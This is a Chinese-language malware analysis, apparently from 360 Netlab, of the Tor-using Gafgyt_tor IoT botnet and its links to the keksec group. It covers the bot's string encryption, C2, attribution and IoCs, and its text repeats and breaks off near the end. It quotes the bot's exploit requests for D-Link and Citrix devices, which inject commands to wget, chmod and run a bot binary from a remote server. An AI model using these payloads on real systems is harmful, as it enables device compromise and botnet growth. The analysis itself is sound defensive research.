<p>版权声明: 本文为Netlab原创，依据<a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">概述</h2>
<p>自2021年2月15号起，360Netlab的BotMon系统持续检测到Gafgyt家族的一个新变种，它使用Tor进行C2通信以隐藏真实C2，并对样本中的敏感字符串做了加密处理。这是我们首次发现使用Tor机制的Gafgyt变种，所以将该变种命名为Gafgyt_tor。进一步分析发现该家族与我们1月份公开的<a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">Necro</a>家族有紧密联系，背后为同一伙人，即所谓的keksec团伙<a href="https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg">[1]</a> <a href="https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/">[2]</a>。检索历史样本发现该团伙长期运营Linux IoT botnet，除了Necro和Gafgyt_tor，他们还曾运营过Tsunami和其它Gafgyt变种botnet。本文将介绍Gafgyt_tor，并对该团伙近期运营的其它botnet做一梳理。</p>
<p>本文关键点如下：</p>
<ol>
<li>Gafgyt_tor使用Tor来隐藏C2通信，可内置100多个Tor代理，并且新样本在持续更新代理列表。</li>
<li>Gafgyt_tor跟keksec团伙之前分发的Gafgyt样本同源，核心功能依然是DDoS攻击和扫描。</li>
<li>keksec团伙会在不同家族间复用代码，可以通过2进制特征进行关联。</li>
<li>除了代码，keksec团伙还会长期复用他们拥有的一批IP地址。</li>
</ol>
<h2 id="">样本分析</h2>
<h3 id="">传播</h3>
<p>目前发现的Gafgyt_tor botnet主要通过Telnet弱口令和以下三个漏洞进行传播。</p>
<ul>
<li>D-Link RCE(CVE-2019-16920)</li>
</ul>
<pre><code>POST /apply_sec.cgi HTTP/1.1
Host: %s:%d
User-Agent: kpin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Referer: http://%s:%d/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin
</code></pre>
<ul>
<li>Liferay Portal RCE</li>
</ul>
<pre><code>POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: %s:%d
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.0
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0
%2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...
</code></pre>
<ul>
<li>Citrix CVE-2019-19781</li>
</ul>
<pre><code>POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
NSC_USER: ../../../netscaler/portal/templates/flialwznxz
NSC_NONCE: 12
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a
</code></pre>
<h3 id="">加密</h3>
<p>Gafgyt_tor集成了一个替换加密算法，用于加密C2和敏感字串以对抗检测和静态分析。敏感字符串包括指令、IPC路径名、DDoS相关的攻击字串等。</p>
<p>下面是密文和明文C2对比：</p>
<pre><code>#密文
'"?>K!tF>iorZ:ww_uBw3Bw'
#明文
'wvp3te7pkfczmnnl.onion'
</code></pre>
<p>目前我们检测到的Gafgyt_tor变种C2都是 wvp3te7pkfczmnnl.onion。</p>
<p>一些敏感字串密解密结果如下：</p>
<pre><code># 指令相关字串
~-6mvgmv - LDSERVER
1-| - UDP
cD| - TCP
ej~- - HOLD
51,U - JUNK
c~6 - TLS
6c- - STD
-,6 - DNS
6D7,,mv - SCANNER
j, - ON
jdd - OFF
jge - OVH
.~7DU,1v6m - BLACKNURSE
# 攻击选项相关字串
7~~ - ALL
6p, - SYN
v6c - RST
dx, - FIN
7DU - ACK
|6e - PSH
# 扫描相关字串
aDbwwtr3bw - WChnnecihn
aQuq - W.1
aEcc - WxTT
74tw! - Agent
1;t= - User
# misc
|x,< - PING
=ru_Brf_ - rc.local
</code></pre>
<p>下面是我们依据逆向结果编写的python解密代码：</p>
<pre><code> def decode(encoded, encodes):
idx = 0
decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
decoded = bytearray()
while ( idx < len(encoded)):
for table_idx in range(0, 64):
if encoded[idx] == encodes[table_idx]:
decoded.append(decodes[table_idx])
idx += 1
print(decoded)
encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>iorZ:ww_uBw3Bw'
decode(encoded_cc, encodes)
</code></pre>
<h3 id="">通信</h3>
<p>相比其它Gafgyt变种，Gafgyt_tor最大的变化是C2通信基于Tor，这提高了检测和阻断难度。基于Tor的C2通信机制在我们以往分析过的其它家族( <a href="__GHOST_URL__/matryosh-botnet-is-spreading/">Matryosh</a> <a href="__GHOST_URL__/the-leethozer-botnet/">leethozer</a> <a href="__GHOST_URL__/moobot-0day-unixcctv-dvr/">moobot</a> )中曾见到过，但在Gafgyt家族中这是首次碰到。</p>
<ul>
<li>代码变化</li>
</ul>
<p>跟其它版本相比，加入Tor代理功能的Gafgyt_tor的main函数代码结构变化非常大，如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/ver1_ver2_cmp_cfg-1.png" class="kg-image" alt loading="lazy"><figcaption>main 函数对比图</figcaption></figure><!--kg-card-begin: markdown--><p>原来负责建立C2连接的initConnection()函数不见了，取而代之的是一大段负责建立Tor连接的代码。新加入的Tor相关函数如下：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/02/tor_functions-1.png" class="kg-image" alt loading="lazy"><figcaption>Tor相关函数 </figcaption></figure><!--kg-card-begin: markdown--><p>其中，<code>tor_socket_init</code>负责初始化代理节点列表，每个节点包含ip地址和端口。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/02/tor_socket_init-2.png" class="kg-image" alt loading="lazy"><figcaption>初始化所有Tor节点</figcaption></figure><!--kg-card-begin: markdown--><p>我们分析发现每个样本集成的代理节点数在100+，最多的高达173个。</p>
<p>初始化好代理列表后，样本会通过<code>tor_retrieve_addr</code>和<code>tor_retrieve_port</code>从列表中随机选择一个节点开启Tor通信。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/02/random_select_tor_node-2.png" class="kg-image" alt loading="lazy"><figcaption>随机选择一个Tor节点 </figcaption></figure><!--kg-card-begin: markdown--><p>与Tor代理建立连接后，Gafgyt_tor就开始通过暗网请求<code>wvp3te7pkfczmnnl.onion</code> 等待指令。在我们分析过的样本中这个C2地址一直没变，但是通信端口在持续变化。</p>
<ul>
<li>指令</li>
</ul>
<p>Gafgyt_tor的核心功能依然是DDoS攻击和扫描，所以基本沿用了常见的Gafgyt指令，但增加了一个名为<code>LDSERVER</code>的指令。C2可以通过该指令指定Gafgyt_tor的exploit中所用到的下载服务器，如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/dyn_config_scan_payload_dl_server.png" class="kg-image" alt loading="lazy"><figcaption>Exploit payload </figcaption></figure><!--kg-card-begin: markdown--><p>该指令意味着C2可以动态切换下载服务器，在老的下载服务器被封后可以快速切换到新的下载服务器继续传播。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="">其它</h3>
<p>Gafgyt_tor除了对通信功能进行改造以外还使用了一些其它不常见的编码技巧。</p>
<ul>
<li>单例模式</li>
</ul>
<p>使用Unix域套接字（一种IPC机制）实现单例模式，这种IPC机制需要指定一个路径名，这个路径名也被加密了。如下图所示的<code>k4=f2t</code>解密后为<code>ugrade</code>。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/singleton_connect-1.png" class="kg-image" alt loading="lazy"><figcaption>单例模式代码 </figcaption></figure><!--kg-card-begin: markdown--><ul>
<li>函数名混淆</li>
</ul>
<p>我们收集到的Gafgyt_tor样本都没被strip过，所以样本中保存了完整的符号信息，大部分样本都会使用一个名为ak47Scan的函数进行扫描和传播。在2月24号捕获的样本中我们发现这个函数名被混淆成了随机字串，可以推测样本正处于积极开发阶段，作者正在逐步加强Gafgyt_tor对抗分析和查杀的能力。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/ak47scan_v2_comp_v2.1_obf.png" class="kg-image" alt loading="lazy"><figcaption>ak47Scan 函数混淆前后对比</figcaption></figure><!--kg-card-begin: markdown--><h2 id="">样本溯源</h2>
<p>在分析Gafgyt_tor的IoC时，我们注意到有一个download server IP 45.145.185.83被今年1月初出现的Necro botnet使用过:</p>
<pre><code>2020-12-28 23:37:17 2021-01-06 06:28:43 293 gxbrowser.net A 45.145.185.83
</code></pre>
<p>gxbrowser.net是Necro的3个C2之一，上图显示它曾多次解析到Gafgyt_tor的这个download server IP。</p>
<p>进一步的分析表明，该IP和另一个Necro C2 IP 193.239.147.224还曾在2月初被分其它版本的Gafgyt和Tsunami botnet用作C2，而这2个botnet又明显的跟Gafgyt_tor共享了代码：</p>
<ol>
<li>都有名为decode的解密函数，代码结构完全相同。</li>
<li>都有名为ak47scan和ak47telscan的扫描函数。</li>
</ol>
<p>它们的解密函数decode()只是码表有差别：</p>
<pre><code># gafgyt样本中的码表
'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'
# tsunami样本中的码表
'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'
</code></pre>
<p>下图是它们的ak47scan()函数对比，能看到功能和结构其实是类似的，但运行方式和扫描的端口有变化。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/ak47scan-----1.png" class="kg-image" alt loading="lazy"><figcaption>ak47scan 函数历史版本对比</figcaption></figure><!--kg-card-begin: markdown--><p>依据上述的decode()和ak47scan()函数2进制特征，我们在样本库中发现了更多的这类Tsunami和Gafgyt样本，它们特点如下：</p>
<ol>
<li>Tsunami样本在2020年8月份中旬出现，活跃时间较短。</li>
<li>Gafgyt样本从2020年9月份到12月份一直在断断续续的传播。</li>
<li>从2月初到中旬，先是Tsunami样本恢复传播，然后是Gafgyt，接下来就是Gafgyt_tor。</li>
<li>目前传播的Gafgyt_tor变种和之前捕获的Gafgyt样本存在很多相似之处，代码明显同源。</li>
<li>这些变种botnet频繁复用download server和C2 IP。</li>
</ol>
<p>能看出今年1月份是空窗期，我们猜测是因为作者将精力放在了Necro上，<a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">因为那段时间刚好是Necro活跃的时间</a>。在2进制特征上，尽管因为Necro使用Python编写而跟Gafgyt_tor没有相似之处，但传播手法上却有一些共同点：</p>
<ol>
<li>都在短时间内更换了不同的exploits，估计是为了提高传播效果。</li>
<li>都采用了“边开发边分发”的方式不断完善botnet功能，导致短期内有大量不同的样本被分发。</li>
</ol>
<p>综合上述分析，我们认为Gafgyt_tor和Necro背后为同一伙人，他们拥有一批固定的IP地址和多个botnet的源代码，并且有持续开发能力。在实际运营中，他们会组建不同家族的botnet，但会复用IP地址这类基础设施，比如上面提到的IP 45.145.185.83地址从去年底以来不同功能的timeline大概如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/ip_timeline-2.png" class="kg-image" alt loading="lazy"><figcaption>45.145.185.83 timeline</figcaption></figure><!--kg-card-begin: markdown--><p>考虑到业界已有2篇报告都认为Necro/Freakout背后存在1个针对IOT设备的长期活跃的botnet团伙，结合我们自己的证据，我们同意他们的观点。为了保持一致，这里也称之为<a href="https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg">keksec团伙</a>，下面是一些关于该团伙的结论:</p>
<ol>
<li>他们起码掌握了Necro、Gafgyt和Tsunami的源代码，并有能力进行持续的开发。</li>
<li>他们会持续升级手中的botnet并轮流使用。</li>
<li>他们拥有一批IP地址资源，并在不同的botnet中复用。</li>
<li>该团伙会紧跟IoT方面的n-day漏洞并第一时间用来组建自己的botnet。</li>
</ol>
<p>下面是从去年8月份到现在我们检测到的该团伙运营的Linux IoT botnet家族timeline图。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/keksec_samples_timeline-1.png" class="kg-image" alt loading="lazy"><figcaption>Keksec 运营过的botnet timeline</figcaption></figure><!--kg-card-begin: markdown--><p>截至文章发稿时Gafgyt_tor botnet仍在传播中，依据我们对该团伙历史botnet的观察，预计Gafgyt_tor仍会持续活跃一段时间，并且不排除后续他们会添加新的exploits的可能。我们对该变种以及keksec团伙的行为将继续保持关注，有最新的动向将及时公开。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ioc">IoC</h2>
<ul>
<li>MD5</li>
</ul>
<pre><code># tsunami
3ab32e92917070942135f5c5a545127d
# gafgyt
f1d6fbd0b4e6c6176e7e89f1d1784d14
# gafgyt_tor
eb77fa43bb857e68dd1f7fab04ed0de4
dce3d16ea9672efe528f74949403dc93
bfaa01127e03a119d74bdb4cb0f557ec
a6bdf72b8011be1edc69c9df90b5e0f2
5c1153608be582c28e3287522d76c02f
54e2687070de214973bdc3bc975049b5
b40d8a44b011b79178180a657b052527
1cc68eb2d9713925d692194bd0523783
94a587198b464fc4f73a29c8d8d6e420
2b2940d168a60990377fea8b6158ba22
56439912093d9c1bf08e34d743961763
2d6917fe413163a7be7936a0609a0c2d
8cd99b32ec514f348f4273a814f97e79
1c966d79319e68ccc66f1a2231040adb
47275afdb412321610c08576890093d7
3c5758723980e6b9315ac6e6c32e261d
980d4d0ac9335ae1db6938e8aeb3e757
513bc0091dfa208249bd1e6a66d9d79e
8e551c76a6b17299da795c2b69bb6805
61b93c03cb5af31b82c11d0c86f82be1
69cab222e42c7177655f490d849e18c5
7cbdd215e7f1e17fc589de2df3f09ac9
6b631fed1416c2cd16ca01738fdfe61a
90a716280fe1baee0f056a79c3aa724d
3b4f844c7dd870e8b8c1d5a397a29514
853dc777c5959db7056f64b34e938ba5
3eccab18fa690bbfdb6e10348bc40b02
e78e04aad0915f2febcbb19ef6ffc4fe
b99115a6ea41d85dea5c96d799e65353
4b95dfc5dc523f29eebf7d50e98187c2
4c271f8068bc64686b241eb002e15459
843a7fec9a8e2398a69dd7dfc49afdd2
7122bcd084d2d0e721ec7c01cf2a6a57
10f6b09f88e0cf589d69a764ff4f455b
f91083e19eed003ac400c1e94eba395e
</code></pre>
<ul>
<li>C2</li>
</ul>
<pre><code>wvp3te7pkfczmnnl.onion
</code></pre>
<ul>
<li>Download URL</li>
</ul>
<pre><code>http://45.153.203.124/bins/AJhkewbfwefWEFx86
http://45.153.203.124/bins/AJhkewbfwefWEFsh4
http://45.153.203.124/bins/AJhkewbfwefWEFmips
http://45.153.203.124/S1eJ3/lPxdChtp3zx86
http://45.153.203.124/S1eJ3/lPxdChtp3zsh4
http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp
http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl
http://45.153.203.124/S1eJ3/lPxdChtp3zmips
http://45.153.203.124/S1eJ3/lPxdChtp3zarm7
http://45.153.203.124/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/bins/AJhkewbfwefWEFx86
http://45.145.185.83/bins/AJhkewbfwefWEFspc
http://45.145.185.83/bins/AJhkewbfwefWEFsh4
http://45.145.185.83/bins/AJhkewbfwefWEFppc
http://45.145.185.83/bins/AJhkewbfwefWEFmips
http://45.145.185.83/bins/AJhkewbfwefWEFi586
http://45.145.185.83/bins/AJhkewbfwefWEFarm7
http://45.145.185.83/bins/AJhkewbfwefWEFarm
http://45.145.185.83/S1eJ3/lPxdChtp3zsh4
http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl
http://45.145.185.83/S1eJ3/lPxdChtp3zmips
http://45.145.185.83/S1eJ3/lPxdChtp3zi686
http://45.145.185.83/S1eJ3/lPxdChtp3zbsd
http://45.145.185.83/S1eJ3/lPxdChtp3zarm7
http://45.145.185.83/S1eJ3/lPxdChtp3zarm64
http://45.145.185.83/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/S1eJ3/IObeENwjx86
http://45.145.185.83/S1eJ3/IObeENwjmips
http://45.145.185.83/S1eJ3/IObeENwjarm5
http://45.145.185.83/S1eJ3/IObeENwjarm4
http://45.145.185.83/S1eJ3/IObeENwjarm
</code></pre>
<ul>
<li>Tor Proxy</li>
</ul>
<pre><code>103.125.218.111
103.125.218.111
103.82.219.42
104.155.207.91
104.224.179.229
107.20.204.32
111.90.159.138
116.202.107.151
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
119.28.149.37
128.199.45.26
130.193.56.117
134.122.4.130
134.122.4.130
134.122.59.236
134.122.59.236
134.122.59.236
134.209.230.13
134.209.249.97
135.181.137.237
138.68.6.227
139.162.149.58
139.162.32.82
139.162.42.124
139.99.239.154
142.47.219.133
143.110.230.187
145.239.83.129
146.59.156.72
146.59.156.76
146.59.156.77
146.66.180.176
148.251.177.144
157.230.27.96
157.230.98.211
157.230.98.77
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.247.211.132
159.65.69.186
159.69.203.65
159.69.203.65
159.89.19.9
161.35.84.202
165.22.194.250
165.22.94.245
167.172.123.221
167.172.173.3
167.172.177.33
167.172.178.215
167.172.179.199
167.172.180.219
167.172.190.42
167.233.6.47
167.71.236.109
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.61.251
172.104.240.74
172.104.4.144
176.37.245.132
178.62.215.4
18.191.18.101
18.229.49.115
185.105.237.253
185.106.121.176
185.106.122.10
185.128.139.56
185.180.223.198
185.18.215.170
185.18.215.178
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.217.1.30
188.127.231.152
188.165.233.121
188.166.17.35
188.166.34.137
188.166.79.209
188.166.79.209
188.166.80.74
188.166.82.232
188.166.82.232
188.227.224.110
188.68.52.220
192.46.209.98
192.99.169.229
193.123.35.48
193.187.173.33
195.123.222.9
195.93.173.53
197.156.89.19
198.27.82.186
198.74.54.182
199.247.4.110
201.40.122.152
20.52.130.140
20.52.130.140
20.52.130.140
20.52.147.137
20.52.37.89
20.52.37.89
206.81.17.232
206.81.27.29
212.71.253.168
212.8.244.112
217.12.201.190
217.12.201.190
217.12.201.190
217.144.173.78
217.170.127.226
217.61.98.33
34.239.11.167
35.189.88.51
35.192.111.58
35.192.111.58
37.200.66.166
3.91.139.103
45.33.45.209
45.33.79.19
45.33.82.126
45.79.207.110
45.81.225.67
45.81.225.67
45.81.226.8
45.81.226.8
45.81.226.8
45.92.94.83
46.101.156.38
46.101.159.138
47.90.1.153
49.147.80.102
50.116.61.125
5.100.80.141
51.11.240.222
51.11.240.222
51.116.185.181
51.116.185.181
51.195.201.47
51.195.201.50
5.167.53.191
51.68.191.153
51.75.161.21
51.83.185.71
51.83.186.137
51.89.165.233
52.47.87.178
5.63.13.54
66.42.34.110
67.205.130.65
68.183.67.182
68.183.82.50
79.124.62.26
80.251.220.190
8.210.163.246
8.210.163.246
87.236.215.248
88.198.167.20
88.198.167.20
91.236.251.131
94.23.40.220
95.179.163.1
95.179.163.1
95.179.163.1
95.179.163.1
95.179.164.28
95.179.164.28
95.179.164.28
95.188.93.135
95.216.123.39
95.216.137.149
95.217.27.5
</code></pre>
<!--kg-card-end: markdown--><p></p><!--kg-card-begin: markdown--><h2 id="">参考</h2>
<p><a href="__GHOST_URL__/necro/">https://blog.netlab.360.com/necro/</a><br>
<a href="https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg">https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg</a><br>
<a href="https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a></p>
<!--kg-card-end: markdown--> | 版权
版权声明: 本文为Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
自2021年2月15号起，360Netlab的BotMon系统持续检测到Gafgyt家族的一个新变种，它使用Tor进行C2通信以隐藏真实C2，并对样本中的敏感字符串做了加密处理。这是我们首次发现使用Tor机制的Gafgyt变种，所以将该变种命名为Gafgyt_tor。进一步分析发现该家族与我们1月份公开的Necro家族有紧密联系，背后为同一伙人，即所谓的keksec团伙[1] [2]。检索历史样本发现该团伙长期运营Linux IoT botnet，除了Necro和Gafgyt_tor，他们还曾运营过Tsunami和其它Gafgyt变种botnet。本文将介绍Gafgyt_tor，并对该团伙近期运营的其它botnet做一梳理。
本文关键点如下：
1. Gafgyt_tor使用Tor来隐藏C2通信，可内置100多个Tor代理，并且新样本在持续更新代理列表。
2. Gafgyt_tor跟keksec团伙之前分发的Gafgyt样本同源，核心功能依然是DDoS攻击和扫描。
3. keksec团伙会在不同家族间复用代码，可以通过2进制特征进行关联。
4. 除了代码，keksec团伙还会长期复用他们拥有的一批IP地址。
样本分析
传播
目前发现的Gafgyt_tor botnet主要通过Telnet弱口令和以下三个漏洞进行传播。
* D-Link RCE(CVE-2019-16920)
POST /apply_sec.cgi HTTP/1.1
Host: %s:%d
User-Agent: kpin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Referer: http://%s:%d/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin
* Liferay Portal RCE
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: %s:%d
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.0
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0
%2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...
* Citrix CVE-2019-19781
POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
NSC_USER: ../../../netscaler/portal/templates/flialwznxz
NSC_NONCE: 12
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a
加密
Gafgyt_tor集成了一个替换加密算法，用于加密C2和敏感字串以对抗检测和静态分析。敏感字符串包括指令、IPC路径名、DDoS相关的攻击字串等。
下面是密文和明文C2对比：
#密文
'"?>K!tF>iorZ:ww_uBw3Bw'
#明文
'wvp3te7pkfczmnnl.onion'
目前我们检测到的Gafgyt_tor变种C2都是 wvp3te7pkfczmnnl.onion。
一些敏感字串密解密结果如下：
# 指令相关字串
~-6mvgmv - LDSERVER
1-| - UDP
cD| - TCP
ej~- - HOLD
51,U - JUNK
c~6 - TLS
6c- - STD
-,6 - DNS
6D7,,mv - SCANNER
j, - ON
jdd - OFF
jge - OVH
.~7DU,1v6m - BLACKNURSE
# 攻击选项相关字串
7~~ - ALL
6p, - SYN
v6c - RST
dx, - FIN
7DU - ACK
|6e - PSH
# 扫描相关字串
aDbwwtr3bw - WChnnecihn
aQuq - W.1
aEcc - WxTT
74tw! - Agent
1;t= - User
# misc
|x,< - PING
=ru_Brf_ - rc.local
下面是我们依据逆向结果编写的python解密代码：
def decode(encoded, encodes):
idx = 0
decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
decoded = bytearray()
while ( idx < len(encoded)):
for table_idx in range(0, 64):
if encoded[idx] == encodes[table_idx]:
decoded.append(decodes[table_idx])
idx += 1
print(decoded)
encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>iorZ:ww_uBw3Bw'
decode(encoded_cc, encodes)
通信
相比其它Gafgyt变种，Gafgyt_tor最大的变化是C2通信基于Tor，这提高了检测和阻断难度。基于Tor的C2通信机制在我们以往分析过的其它家族( Matryosh leethozer moobot )中曾见到过，但在Gafgyt家族中这是首次碰到。
* 代码变化
跟其它版本相比，加入Tor代理功能的Gafgyt_tor的main函数代码结构变化非常大，如下图所示。
原来负责建立C2连接的initConnection()函数不见了，取而代之的是一大段负责建立Tor连接的代码。新加入的Tor相关函数如下：
其中，tor_socket_init负责初始化代理节点列表，每个节点包含ip地址和端口。
我们分析发现每个样本集成的代理节点数在100+，最多的高达173个。
初始化好代理列表后，样本会通过tor_retrieve_addr和tor_retrieve_port从列表中随机选择一个节点开启Tor通信。
与Tor代理建立连接后，Gafgyt_tor就开始通过暗网请求wvp3te7pkfczmnnl.onion 等待指令。在我们分析过的样本中这个C2地址一直没变，但是通信端口在持续变化。
* 指令
Gafgyt_tor的核心功能依然是DDoS攻击和扫描，所以基本沿用了常见的Gafgyt指令，但增加了一个名为LDSERVER的指令。C2可以通过该指令指定Gafgyt_tor的exploit中所用到的下载服务器，如下图所示。
该指令意味着C2可以动态切换下载服务器，在老的下载服务器被封后可以快速切换到新的下载服务器继续传播。
其它
Gafgyt_tor除了对通信功能进行改造以外还使用了一些其它不常见的编码技巧。
* 单例模式
使用Unix域套接字（一种IPC机制）实现单例模式，这种IPC机制需要指定一个路径名，这个路径名也被加密了。如下图所示的k4=f2t解密后为ugrade。
* 函数名混淆
我们收集到的Gafgyt_tor样本都没被strip过，所以样本中保存了完整的符号信息，大部分样本都会使用一个名为ak47Scan的函数进行扫描和传播。在2月24号捕获的样本中我们发现这个函数名被混淆成了随机字串，可以推测样本正处于积极开发阶段，作者正在逐步加强Gafgyt_tor对抗分析和查杀的能力。
样本溯源
在分析Gafgyt_tor的IoC时，我们注意到有一个download server IP 45.145.185.83被今年1月初出现的Necro botnet使用过:
2020-12-28 23:37:17 2021-01-06 06:28:43 293 gxbrowser.net A 45.145.185.83
gxbrowser.net是Necro的3个C2之一，上图显示它曾多次解析到Gafgyt_tor的这个download server IP。
进一步的分析表明，该IP和另一个Necro C2 IP 193.239.147.224还曾在2月初被分其它版本的Gafgyt和Tsunami botnet用作C2，而这2个botnet又明显的跟Gafgyt_tor共享了代码：
1. 都有名为decode的解密函数，代码结构完全相同。
2. 都有名为ak47scan和ak47telscan的扫描函数。
它们的解密函数decode()只是码表有差别：
# gafgyt样本中的码表
'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'
# tsunami样本中的码表
